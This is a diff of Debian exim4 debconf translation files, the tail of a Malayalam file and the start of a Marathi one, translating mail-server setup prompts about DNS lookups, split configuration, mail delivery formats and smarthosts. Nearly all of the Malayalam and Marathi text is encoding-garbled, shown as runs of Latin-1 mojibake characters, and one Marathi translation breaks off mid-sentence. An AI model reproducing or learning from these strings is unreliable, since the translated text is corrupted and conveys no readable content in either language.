വിനിമയതലങàµà´™à´³à´¿à´²àµà´‚ ബനàµà´§à´™àµà´™à´³àµâ€à´•àµà´•à´¾à´¯à´¿ " +"à´¶àµà´°à´¦àµà´§à´¿à´•àµà´•à´¾à´¨àµâ€ കാരണമാകàµà´•àµà´‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"à´ˆ സിസàµà´±àµà´±à´‚ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• സേവനങàµà´™à´³à´¿à´²àµâ€ നിനàµà´¨àµà´‚ നേരിടàµà´Ÿàµàµ മാതàµà´°à´®àµ‡ (à´…à´²àµà´²à´¾à´¤àµ† മറàµà´±àµà´³àµà´³ ഹോസàµà´±àµà´±àµà´•à´³à´¿à´²àµâ€ " +"നിനàµà´¨àµà´®à´²àµà´²) à´•à´¤àµà´¤àµà´•à´³àµâ€ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨àµà´³àµà´³àµà´µàµ†à´™àµà´•à´¿à´²àµâ€ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• à´Žà´•àµà´¸à´¿à´‚ നിരനàµà´¤à´°à´ªàµà´°à´µàµƒà´¤àµà´¤à´¿à´¯à´¿à´²àµ‡à´¯àµà´•àµà´•àµà´³àµà´³ à´ªàµà´±à´®àµ‡ " +"നിനàµà´¨àµà´³àµà´³ ബനàµà´§à´™àµà´™à´³àµâ€ നിരോധിയàµà´•àµà´•à´¾à´¨àµâ€ à´¶àµà´ªà´¾à´°àµâ€à´¶ ചെയàµà´¯àµà´¨àµà´¨àµ. à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´¹àµ‹à´¸àµà´±àµà´±àµà´®à´¾à´¯à´¿ മാതàµà´°à´‚ സംസാരിയàµà´•àµà´•àµà´¨àµà´¨ " +"ഇമെയിലàµâ€ à´ªàµà´°àµ‹à´—àµà´°à´¾à´®àµà´•à´³àµà´‚ (à´Žà´‚à´¯àµà´Žà´•à´³àµâ€) ഫെചàµà´šàµà´®àµ†à´¯à´¿à´²àµà´‚ à´…à´™àµà´™à´¨àµ†à´¯àµà´³àµà´³ à´ªàµà´°àµ‹à´—àµà´°à´¾à´®àµà´•à´³à´¿à´²àµâ€ പെടàµà´¨àµà´¨àµ. 127.0.0.1 " +"à´Žà´¨àµà´¨àµàµ ഇവിടെ നലàµà´•àµà´•à´¯à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ ഇതàµàµ à´ªàµà´±à´¤àµà´¤àµ‡à´¯àµà´•àµà´•àµà´³àµà´³ ശൃംഖലയàµà´Ÿàµ† വിനിമയതലങàµà´™à´³à´¿à´²àµâ€ à´¶àµà´°à´¦àµà´§à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨à´¤àµàµ " +"à´ªàµà´°à´¾à´µà´°àµâ€à´¤àµà´¤à´¿à´•à´®à´²àµà´²à´¾à´¤à´¾à´•àµà´•à´¿ à´ªàµà´±à´®àµ‡ നിനàµà´¨àµà´³àµà´³ ബനàµà´§à´™àµà´™à´³àµâ€ അസാധàµà´¯à´®à´¾à´•àµà´•àµà´‚." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "à´¡à´¿à´Žà´¨àµâ€à´Žà´¸àµ-à´…à´¨àµà´µàµ‡à´·à´£à´™àµà´™à´³àµà´Ÿàµ† à´Žà´£àµà´£à´‚ à´•àµà´±à´¯àµà´•àµà´•à´£àµ‹ (ഡയലàµâ€-à´“à´£àµâ€-ഡിമാനàµâ€à´¡àµ)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"സാധാരണ മോഡിലàµà´³àµà´³ à´ªàµà´°à´µà´°àµâ€à´¤àµà´¤à´¨à´¤àµà´¤à´¿à´²àµâ€ à´Žà´•àµà´²à´¿à´‚ à´¤àµà´Ÿà´™àµà´™àµà´®àµà´ªàµ‹à´´àµà´‚ സനàµà´¦àµ‡à´¶à´™àµà´™à´³àµâ€ à´¸àµà´µàµ€à´•à´°à´¿à´šàµà´šàµàµ കൊണàµà´Ÿà´¿à´°à´¿à´•àµà´•àµà´•à´¯àµ‹ " +"à´Žà´¤àµà´¤à´¿à´šàµà´šàµ കൊണàµà´Ÿà´¿à´°à´¿à´•àµà´•àµà´•à´¯àµ‹ ചെയàµà´¯àµà´®àµà´ªàµ‹à´´àµà´‚ à´¡à´¿à´Žà´¨àµâ€à´Žà´¸à´¿à´²àµâ€ നോകàµà´•àµà´‚. ഇതàµàµ ലോഗിങàµà´™àµ ആവശàµà´¯à´™àµà´™à´³àµâ€à´•àµà´•àµàµ വേണàµà´Ÿà´¿à´¯àµà´‚ " +"à´•àµà´°à´®àµ€à´•à´°à´£à´¤àµà´¤à´¿à´²àµâ€ ഹാരàµâ€à´¡àµ കോഡൠചെയàµà´¤à´¿à´Ÿàµà´Ÿàµà´³àµà´³ വിലകളàµà´Ÿàµ† à´Žà´£àµà´£à´‚ à´•àµà´±à´¯àµà´•àµà´•àµà´¨àµà´¨à´¤à´¿à´¨àµà´®à´¾à´£àµàµ." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"à´ˆ സിസàµà´±àµà´±à´¤àµà´¤à´¿à´¨àµàµ ഒരൠഡിഎനàµâ€à´Žà´¸àµ à´«àµà´³àµâ€ സരàµâ€à´µàµ€à´¸àµ റിസോളàµâ€à´µà´°àµâ€ à´Žà´²àµà´²à´¾ സമതàµà´¤àµà´‚ à´²à´àµà´¯à´®à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ (ഉദാഹരണതàµà´¤à´¿à´¨àµàµ " +"അതിനàµà´±àµ† ഇനàµà´±à´°àµâ€à´¨àµ†à´±àµà´±àµ സമീപനം ഡയലàµâ€-à´“à´£àµ-ഡിമാനàµâ€à´¡àµ ഉപയോഗികàµà´•àµà´¨àµà´¨ ഡയലàµâ€-അപൠആണെങàµà´•à´¿à´²àµâ€) ഇതàµàµ " +"ആവശàµà´¯à´®à´¿à´²àµà´²à´¾à´¤àµà´¤ അനനàµà´¤à´¿à´° ഫലങàµà´™à´³àµà´£àµà´Ÿà´¾à´•àµà´•àµà´‚. ഉദാഹരണതàµà´¤à´¿à´¨àµàµ à´Žà´•àµà´¸à´¿à´‚ à´¤àµà´Ÿà´™àµà´™àµà´¨àµà´¨à´¤àµ‹ à´•àµà´¯àµ‚ " +"à´ªàµà´°à´µà´°àµâ€à´¤àµà´¤à´¿à´ªàµà´ªà´¿à´¯àµà´•àµà´•àµà´¨àµà´¨à´¤àµ‹ (സനàµà´¦àµ‡à´¶à´™àµà´™à´³àµâ€ കാതàµà´¤à´¿à´°à´¿à´•àµà´•àµà´¨àµà´¨à´¿à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ കൂടി) ഒരൠചിലവേറിയ ഡയലàµâ€-അപൠ" +"à´ªàµà´°à´µàµƒà´¤àµà´¤à´¿ à´¤àµà´Ÿà´™àµà´™à´¾à´¨àµâ€ കാരണമായേകàµà´•à´¾à´‚." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"à´ˆ സിസàµà´±àµà´±à´‚ ഡയലàµâ€-à´“à´£àµâ€-ഡിമാനàµâ€à´¡àµ ഉപയോഗികàµà´•àµà´¨àµà´¨àµà´£àµà´Ÿàµ†à´™àµà´•à´¿à´²àµâ€ à´ˆ à´à´šàµà´›à´¿à´•à´‚ തെരഞàµà´žàµ†à´Ÿàµà´•àµà´•àµ‡à´£àµà´Ÿà´¤à´¾à´£àµàµ. ഇതിനàµàµ " +"à´Žà´ªàµà´ªàµ‹à´´àµà´‚ ബനàµà´§à´¿à´šàµà´šà´¿à´Ÿàµà´Ÿàµà´³àµà´³ ഇനàµà´±à´°àµâ€à´¨àµ†à´±àµà´±àµ സമീപനമàµà´£àµà´Ÿàµ†à´™àµà´•à´¿à´²àµâ€ à´ˆ à´à´šàµà´›à´¿à´•à´‚ à´ªàµà´°à´¾à´µà´°àµâ€à´¤àµà´¤à´¿à´•à´®à´²àµà´²à´¾à´¤à´¾à´•àµà´•àµ‡à´£àµà´Ÿà´¤à´¾à´£àµàµ." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "തപാലàµâ€ സേവക à´•àµà´°à´®àµ€à´•à´°à´£à´‚" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "à´•àµà´°à´®àµ€à´•à´°à´£à´¤àµà´¤àµ† ചെറിയ ഫയലàµà´•à´³à´¾à´•àµà´•à´¿ à´®àµà´±à´¿à´¯àµà´•àµà´•à´£àµ‹?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"ഡെബിയനàµâ€ à´Žà´•àµà´¸à´¿à´‚4 പാകàµà´•àµ‡à´œàµà´•à´³àµâ€à´•àµà´•àµàµ \"വിà´à´œà´¿à´¯àµà´•àµà´•à´¾à´¤àµà´¤ à´•àµà´°à´®àµ€à´•à´°à´£à´‚\", à´’à´±àµà´± à´à´•à´¶à´¿à´²à´¾à´¸àµà´¤à´‚ഠഫയലàµâ€ (/etc/" +"exim4/exim4.conf.template) à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ ശരികàµà´•àµà´³àµà´³ à´Žà´•àµà´¸à´¿à´‚ à´•àµà´°à´®àµ€à´•à´°à´£ ഫയലàµà´•à´³àµâ€ /etc/exim4/" +"conf.d/ യിലàµà´³àµà´³ à´à´•à´¦àµ‡à´¶à´‚ 50 ഓളം വരàµà´¨àµà´¨ ചെറിയ ഫയലàµà´•à´³à´¿à´²àµâ€ നിനàµà´¨àµà´‚ ഉണàµà´Ÿà´¾à´•àµà´•à´¿à´¯àµ†à´Ÿàµà´•àµà´•àµà´¨àµà´¨ " +"\"വിà´à´œà´¿à´šàµà´š à´•àµà´°à´®àµ€à´•à´°à´£à´‚\" à´Žà´¨àµà´¨à´¿à´µà´¯à´¿à´²àµ‡à´¤àµ†à´™àµà´•à´¿à´²àµà´®àµà´ªà´¯àµ‹à´—à´¿à´¯àµà´•àµà´•à´¾à´‚." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"വിà´à´œà´¿à´¯àµà´•àµà´•à´¾à´¤àµà´¤ à´•àµà´°à´®àµ€à´•à´°à´£à´‚ വലിയ മാറàµà´±à´™àµà´™à´³àµâ€à´•àµà´•àµàµ യോജിചàµà´šà´¤àµà´‚ പൊതàµà´µàµ† കൂടàµà´¤à´²àµâ€ à´¸àµà´¥à´¿à´°à´¤à´¯àµà´³àµà´³à´¤àµà´®à´¾à´£àµàµ, à´Žà´¨àµà´¨à´¾à´²àµâ€ " +"വിà´à´œà´¿à´šàµà´š à´•àµà´°à´®àµ€à´•à´°à´£à´‚ ചെറിയ മാറàµà´±à´™àµà´™à´³àµâ€ വരàµà´¤àµà´¤à´¾à´¨àµâ€ സൌകരàµà´¯à´ªàµà´°à´¦à´®à´¾à´¯ ഒരൠവഴി നലàµà´•àµà´¨àµà´¨àµ പകàµà´·àµ‡ ഇതàµàµ വളരെ " +"നേരàµâ€à´¤àµà´¤à´¤àµà´‚ à´…à´¶àµà´°à´¦àµà´§à´®à´¾à´¯à´¿ മാറàµà´±à´¿à´¯à´¾à´²àµâ€ കേടാവാനàµâ€ സാധàµà´¯à´¤à´¯àµà´³àµà´³à´¤àµà´®à´¾à´£àµàµ." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"വിà´à´œà´¿à´šàµà´šà´¤àµà´‚ വിà´à´œà´¿à´¯àµà´•àµà´•à´¾à´¤àµà´¤à´¤àµà´®à´¾à´¯ à´•àµà´°à´®àµ€à´•à´°à´£à´¤àµà´¤àµ† à´•àµà´±à´¿à´šàµà´šàµàµ കൂടàµà´¤à´²àµâ€ വിശദമായ à´šà´°àµâ€à´šàµà´š /usr/share/doc/" +"exim4-base à´²àµâ€ കാണാവàµà´¨àµà´¨à´¤à´¾à´£àµàµ." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "à´ªàµà´±à´¤àµà´¤àµ പോകàµà´¨àµà´¨ à´•à´¤àµà´¤à´¿à´²àµâ€ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• തപാലàµâ€ നാമം മറചàµà´šàµ വയàµà´•à´£àµ‹?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"à´ªàµà´±à´¤àµà´¤àµ പോകàµà´¨àµà´¨ à´•à´¤àµà´¤à´¿à´²àµ† തലകàµà´•àµ†à´Ÿàµà´Ÿàµà´•à´³àµâ€ വേറൊരൠസിസàµà´±àµà´±à´¤àµà´¤à´¿à´²àµâ€ സൃഷàµà´Ÿà´¿à´šàµà´šà´¤à´¾à´£àµ†à´¨àµà´¨àµàµ തോനàµà´¨àµà´¨àµà´¨ രീതിയിലàµâ€ " +"മാറàµà´±à´¿à´¯àµ†à´´àµà´¤à´¾à´µàµà´¨àµà´¨à´¤à´¾à´£àµàµ. à´ˆ à´à´šàµà´›à´¿à´•à´‚ തെരഞàµà´žàµ†à´Ÿàµà´•àµà´•àµà´•à´¯à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ From, Reply-To, Sender, Return-" +"Path à´Žà´¨àµà´¨à´¿à´µà´¯à´¿à´²àµâ€ \"${mailname}\", \"localhost\", \"${dc_other_hostnames}\" " +"à´Žà´¨àµà´¨à´¿à´µ മാറàµà´±à´¿ à´Žà´´àµà´¤àµà´¨àµà´¨à´¤à´¾à´£àµàµ." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "/var/mail/ à´²àµâ€ mbox ഫോരàµâ€à´®à´¾à´±àµà´±à´¿à´²àµâ€" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "തടàµà´Ÿà´•à´¤àµà´¤à´¿à´²àµâ€ Maildir ഫോരàµâ€à´®à´¾à´±àµà´±à´¿à´²àµâ€" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• à´•à´¤àµà´¤àµà´•à´³àµâ€ à´Žà´¤àµà´¤à´¿à´¯àµà´•àµà´•àµ‡à´£àµà´Ÿ മാരàµâ€à´—à´‚:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"à´Žà´•àµà´¸à´¿à´®à´¿à´¨àµàµ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯à´¿ à´Žà´¤àµà´¤à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨ മെയിലàµà´•à´³àµâ€ à´µàµà´¯à´¤àµà´¯à´¸àµà´¤ ഫോരàµâ€à´®à´¾à´±àµà´±àµà´•à´³à´¿à´²àµâ€ സൂകàµà´·à´¿à´šàµà´šàµàµ വെയàµà´•àµà´•à´¾à´¨àµâ€ " +"à´•à´´à´¿à´¯àµà´‚. à´à´±àµà´±à´µàµà´‚ സാധാരണയായി ഉപയോഗികàµà´•àµà´¨àµà´¨à´¤àµàµ mbox ഉം Maildir ഉം ആണàµàµ. mbox /var/mail/ " +"à´²àµâ€ സൂകàµà´·à´¿à´šàµà´šàµ വചàµà´šà´¿à´Ÿàµà´Ÿàµà´³àµà´³ à´®àµà´´àµà´µà´¨àµâ€ തപാലàµâ€ ഫോളàµâ€à´¡à´±àµà´•à´³àµâ€à´•àµà´•àµà´®à´¾à´¯à´¿ à´’à´±àµà´± ഫയലാണàµàµ ഉപയോഗിയàµà´•àµà´•àµà´¨àµà´¨à´¤àµàµ. Maildir " +"ഫോരàµâ€à´®à´¾à´±àµà´±à´¿à´²àµâ€ ഓരോ സനàµà´¦àµ‡à´¶à´™àµà´™à´³àµà´‚ ~/Maildir/ à´²àµâ€ à´µàµà´¯à´¤àµà´¯à´¸àµà´¤ ഫയലായിടàµà´Ÿà´¾à´£àµàµ സൂകàµà´·à´¿à´•àµà´•àµà´¨àµà´¨à´¤àµàµ." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"കൂടàµà´¤à´²àµâ€ ഡെബിയനàµâ€ തപാലàµâ€ ടൂളàµà´•à´³àµà´‚ സഹജമായ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯à´¿ à´•à´¤àµà´¤àµàµ à´Žà´¤àµà´¤à´¿à´•àµà´•à´¾à´¨àµà´³àµà´³ മാരàµâ€à´—മായി mbox " +"à´ªàµà´°à´¤àµ€à´•àµà´·à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨àµ." diff --git a/debian/po/mr.po b/debian/po/mr.po new file mode 100644 index 0000000..24f47b8 --- /dev/null +++ b/debian/po/mr.po @@ -0,0 +1,759 @@ +# SOME DESCRIPTIVE TITLE. +# Copyright (C) 2006 +# This file is distributed under the same license as the PACKAGE package. +# Priti Patil <prithisd [at] gmail [dot] com>, 2006, janabhaaratii Project (Chief Investigator Dr. Alka Irani), C-DAC, Mumbai +# First Translator "Sampada Nakhare" +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-17 19:48+0530\n" +"Last-Translator: Priti Patil <prithisd [at] gmail [dot] com> \n" +"Language-Team: Marathi, janabhaaratii, C-DAC, Mumbai, India\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "सà¥à¤ªà¥‚ल निरà¥à¤¦à¥‡à¤¶à¤¿à¤•à¥‡à¤¤à¥€à¤² अजून पोचती न à¤à¤¾à¤²à¥‡à¤²à¥€ पतà¥à¤°à¥‡ काढून टाकायची?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"à¤à¤•à¥à¤à¤¿à¤® निरà¥à¤¦à¥‡à¤¶à¤¿à¤•à¤¾ /वà¥à¤¹à¤¾à¤°/सà¥à¤ªà¥‚ल/à¤à¤•à¥à¤à¤¿à¤®à¥ª/निवेश मधे काही अजून पोचती न à¤à¤¾à¤²à¥‡à¤²à¥€ पतà¥à¤°à¥‡ आहेत. आपण " +"पà¥à¤¢à¥‡ कधीतरी à¤à¤•à¥à¤à¤¿à¤® परत अधिषà¥à¤ ापन करणार असलà¥à¤¯à¤¾à¤¸ ही पतà¥à¤°à¥‡ तशीच ठेऊ शकता, किंवा आपण ती " +"काढून टाकू शकता." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"जर हा परà¥à¤¯à¤¾à¤¯ निवडला नाही, तर सà¥à¤ªà¥‚ल निरà¥à¤¦à¥‡à¤¶à¤¿à¤•à¤¾ ठेवली जाते, जà¥à¤¯à¤¾à¤®à¥à¤³à¥‡ रांगेतील संदेश नंतरचà¥à¤¯à¤¾ " + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "या पॅकेजà¤à¤µà¤œà¥€ à¤à¤•à¤à¤¿à¤®à¥ª-कॉनà¥à¤«à¤¿à¤— ची पà¥à¤¨à¤°à¥à¤°à¤šà¤¨à¤¾ करायची?" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"à¤à¤•à¤à¤¿à¤®à¥ª मधे संरचना à¤à¤• समरà¥à¤ªà¤¿à¤¤ पॅकेज, à¤à¤•à¤à¤¿à¤®à¥ª-कॉनà¥à¤«à¤¿à¤— मधे घटक पाडून केली आहे. à¤à¤•à¤à¤¿à¤®à¥ª " +"पà¥à¤¨à¤°à¥à¤°à¤šà¤¿à¤¤ करणà¥à¤¯à¤¾à¤•à¤°à¤¿à¤¤à¤¾ 'डिपीकेजी रिकॉनà¥à¤«à¤¿à¤—र à¤à¤•à¤à¤¿à¤®à¥ª-कॉनà¥à¤«à¤¿à¤—' वापरा." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "महाजाल साइट; à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ वापरून टपाल थेट पाठवले व पà¥à¤°à¤¾à¤ªà¥à¤¤ केले जाते" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "टपाल सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤¨à¥‡ पाठवले; à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ वा फेचमेल दà¥à¤µà¤¾à¤°à¤¾ पà¥à¤°à¤¾à¤ªà¥à¤¤ केले" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "टपाल सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤¨à¥‡ पाठवले; सà¥à¤¥à¤¾à¤¨à¤¿à¤• पतà¥à¤° नाही" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "वाटप फकà¥à¤¤ सà¥à¤¥à¤¾à¤¨à¤¿à¤•; नेटवरà¥à¤•à¤µà¤° नाही" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "हà¥à¤¯à¤¾ वेळी विनà¥à¤¯à¤¾à¤¸ नाही" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "सरà¥à¤µà¤¸à¤¾à¤§à¤¾à¤°à¤£ पà¥à¤°à¤•à¤¾à¤°à¤šà¤¾ टपाल विनà¥à¤¯à¤¾à¤¸:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "आपलà¥à¤¯à¤¾ गरजा चांगलà¥à¤¯à¤¾ पà¥à¤°à¤•à¤¾à¤°à¥‡ पूरà¥à¤£ करणारा विनà¥à¤¯à¤¾à¤¸ पà¥à¤°à¤•à¤¾à¤° निवडा." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"सरà¥à¤µà¤¸à¤¾à¤§à¤¾à¤°à¤£à¤ªà¤£à¥‡ कà¥à¤°à¤¿à¤¯à¤¾à¤¶à¥€à¤² आय पी पतà¥à¤¤à¤¾ असलेलà¥à¤¯à¤¾ पà¥à¤°à¤£à¤¾à¤²à¥€à¤‚ची संरचना, (डायलअप पà¥à¤°à¤£à¤¾à¤²à¥€à¤‚सकट), " +"बाहेर जाणारे टपाल पोचते करणà¥à¤¯à¤¾à¤¸à¤¾à¤ ी दà¥à¤¸à¤±à¥à¤¯à¤¾ \"सà¥à¤®à¤¾à¤°à¥à¤Ÿ हाॅसà¥à¤Ÿ\" मà¥à¤¹à¤£à¤µà¤£à¤¾à¤±à¥à¤¯à¤¾ मशीनवर " +"पाठवणà¥à¤¯à¤¾à¤œà¥‹à¤—ी करावी. आपण अशा पà¥à¤°à¤£à¤¾à¤²à¥€à¤‚वर टपाल पà¥à¤°à¤¾à¤ªà¥à¤¤ करणà¥à¤¯à¤¾à¤šà¥‡ निवडू शकता; किंवा मूल व " +"पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°à¤šà¥‡ टपाल सोडता, सà¥à¤¥à¤¾à¤¨à¤¿à¤• टपाल पाठवणे बंद ठेऊ शकता." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"कà¥à¤°à¤¿à¤¯à¤¾à¤¶à¥€à¤² आय पी पतà¥à¤¤à¤¾ असलेली पà¥à¤°à¤£à¤¾à¤²à¥€à¤‚ सà¥à¤µà¤¤à¤ƒà¤šà¥‡ टपाल पà¥à¤°à¤¾à¤ªà¥à¤¤ करू शकते, किंवा सà¥à¤¥à¤¾à¤¨à¤¿à¤• बटवडा " +"संपूरà¥à¤£à¤ªà¤£à¥‡ कारà¥à¤¯à¤…कà¥à¤·à¤® करता येतो (मूल वा पोषà¥à¤Ÿà¤®à¤¾à¤·à¥à¤Ÿà¤° यांचà¥à¤¯à¤¾ टपालावà¥à¤¯à¤¤à¤¿à¤°à¤¿à¤•à¥à¤¤)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "खरोखरच टपाल पà¥à¤°à¤£à¤¾à¤²à¥€ असंरचित सोडायची?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"आपली टपाल पà¥à¤°à¤£à¤¾à¤²à¥€ संरचित होईपरà¥à¤¯à¤‚त ते मोडलेले राहील, व वापरता येणार नाही. अरà¥à¤¥à¤¾à¤¤à¤š नंतर " +"à¤à¤•à¤¤à¤° सà¥à¤µà¤¤à¤ƒà¤š, किंवा मूल असताना \"डिपीकेजी-पà¥à¤¨à¤°à¥à¤°à¤šà¤¨à¤¾ à¤à¤•à¥à¤à¤¿à¤®à¥ª-रचना\" चालवून आपण ते संरचित " +"करॠशकता." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "पà¥à¤°à¤£à¤¾à¤²à¥€ टपाल 